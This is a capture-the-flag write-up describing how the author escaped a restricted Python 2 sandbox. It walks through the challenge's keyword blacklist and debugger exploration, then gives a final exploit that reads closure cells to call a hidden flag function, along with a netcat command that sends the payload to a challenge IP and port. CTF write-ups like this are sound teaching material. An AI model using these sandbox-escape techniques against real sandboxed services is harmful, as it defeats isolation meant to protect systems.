The information we have regarding with task are an ip and port where to connect to and even the source code of the service:
From the source it's easy to see that we need first of all send the string "leetleetleetleet" and then we can insert some Python code that will be executed in the sandbox.
Obviously we have some restrictions:
Character set reduced to letters, numbers and (),.:;<=>[]_{}, so no dunder methods
Keyword blacklist: import, globals, locals, exec, eval, join, format, replace, translate, try, except, with, content, frame, back
In the sandbox we have access only to the divider() function
Our goal is to have the flag printed, and for doing so we need to execute the two functions we_must_be_sure_flag_part1_is_ready() and we_must_be_sure_flag_part2_is_ready(). The first one is always called but unfortunately the second one is executed only if the check if int(v1) / int(v2) == EXPECTED is verified. As EXPECTED is equal to 13.37 I don't see many ways of bypassing it, therefore we need to dig deeper.
First of all I downloaded the source, added a import pdb; pdb.set_trace() at line 105 and runned it locally. With the debugger is easier to explore the properties we can access from the divider function.
So let's see what we have:
(Pdb++) dir(divider)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__ format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
(Pdb++) divider.func_globals.keys()
['trans_table', 'trusted_builtins', 'stdout', '__builtins__', 'part1_of_flag', '__file__', 'part2_of_flag', 'clear_builtins', '__package__', 'FLAG', 'sanitize', 'EXPECTED', '__name__', 'main', 'egg', '__doc__']
With func_globals would be too easy, but we cannot use the string "globals" and I didn't find an easy way to bypass the check so I digged further.
(Pdb++) divider.func_closure
(<cell at 0x7f0eb4bbad70: str object at 0x7f0eb4bba068>, <cell at 0x7f0eb4bbade0: str object at 0x7f0eb4c189f0>, <cell at 0x7f0eb4bba408: int object at 0x2575c80>, <cell at 0x7f0eb4bbaa60: int object at 0x2575c80>, <cell at 0x7f0eb4bbabb0: int object at 0x2575c80>, <cell at 0x7f0eb4bbabe8: int object at 0x2575c80>, <cell at 0x7f0eb4bbac20: int object at 0x2575c80>, <cell at 0x7f0eb4bbac58: int object at 0x2575c80>, <cell at 0x7f0eb4bbac90: int object at 0x2575c80>, <cell at 0x7f0eb4bbacc8: int object at 0x2575c80>, <cell at 0x7f0eb4bbae18: int object at 0x2575c68>, <cell at 0x7f0eb4bbad38: function object at 0x7f0eb4c230c8>)
But what are those cell objects? A search on Google solves any doubts and gives us this interesting link: "Get the value of a cell from a closure". This function is what we need to access any object in the closure!
def get_cell_value(cell):
return type(lambda: 0)(
(lambda x: lambda: x)(0).func_code, {}, None, None, (cell,)
)()
So here's the final exploit:
def get_cell_value(cell):
return type(lambda: 0)((lambda x: lambda: x)(0).func_code, {}, None, None, (cell,))()
x = div(1).func_closure[11]
print get_cell_value(x)()
---
(echo "leetleetleetleet\n"; sleep 1; cat pyjail_pwn) | nc 195.133.87.177 1337
Thanks to the organizers for this great CTF :D